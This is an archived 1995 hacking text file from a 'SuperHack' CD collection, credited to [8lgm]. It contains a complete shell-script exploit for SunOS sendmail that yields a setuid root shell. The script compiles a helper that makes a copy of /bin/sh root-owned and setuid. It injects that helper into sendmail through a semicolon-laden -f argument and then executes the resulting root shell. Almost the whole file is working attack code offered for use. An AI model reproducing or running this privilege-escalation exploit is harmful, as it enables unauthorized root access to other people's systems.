home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / UNIX / SM8B.ZIP / SM8B.TXT
Text File  |  1996-04-27  |  1KB  |  74 lines

  1. **************************************************************************
  2.    HACK: Sendmail(8): Create suid root shells [8lgm]
  3.  System: SunOS
  4.  Source: [8lgm] at webserv@FOUR.net
  5.    Date: Aug 24,1995
  6. **************************************************************************
  7.  
  8. ropt:
  9. #!/bin/sh
  10. #
  11. # Syntax: roption host
  12. #
  13. # host is any system running sendmail (except localhost).
  14. #
  15. # This exploits a flaw in SunOS sendmail(8), and attempts
  16. # create a suid root shell
  17. #
  18. # Written 1995 by [8LGM]
  19. # Please do not use this script without permission.
  20. #
  21.  
  22. PROG="`basename $0`"
  23. PATH=/usr/ucb:/usr/bin:/bin      export PATH
  24. IFS=" "                          export IFS
  25.  
  26. # Check args
  27. if [ $# -ne 1 ]; then
  28.         echo "Syntax: $PROG host"
  29.         exit 1
  30. fi
  31.  
  32. # Check we're on SunOS
  33. if [ "x`uname -s`" != "xSunOS" ]; then
  34.         echo "Sorry, this only works on SunOS"
  35.         exit 1
  36. fi
  37.  
  38. PROG="`basename $0`"
  39.  
  40. EXECME=/tmp/HotterThanMojaveInMyHeart
  41.  
  42. # Create EXECME.c
  43.  
  44. cat > $EXECME.c << 'EOF'
  45. main(argc,argv)
  46. int argc;
  47. char *argv[];
  48. {
  49.         chown("/tmp/InfamousAngel", 0, 0);
  50.         chmod("/tmp/InfamousAngel", 04755);
  51. }
  52. EOF
  53.  
  54. cc -o $EXECME $EXECME.c
  55.  
  56. # Check we have EXECME
  57.  
  58. if [ ! -x $EXECME ]; then
  59.         echo "$PROG: couldnt compile $EXECME.c - check it out"
  60.         exit 1
  61. fi
  62.  
  63. /bin/cp /bin/sh /tmp/InfamousAngel
  64. # Run sendmail
  65.  
  66. /usr/lib/sendmail -oR$1 -f";$EXECME;" -t << 'EOF'
  67. To: No1InParticular
  68.  
  69. Hows it goin
  70. EOF
  71.  
  72. exec /tmp/InfamousAngel
  73.  
  74.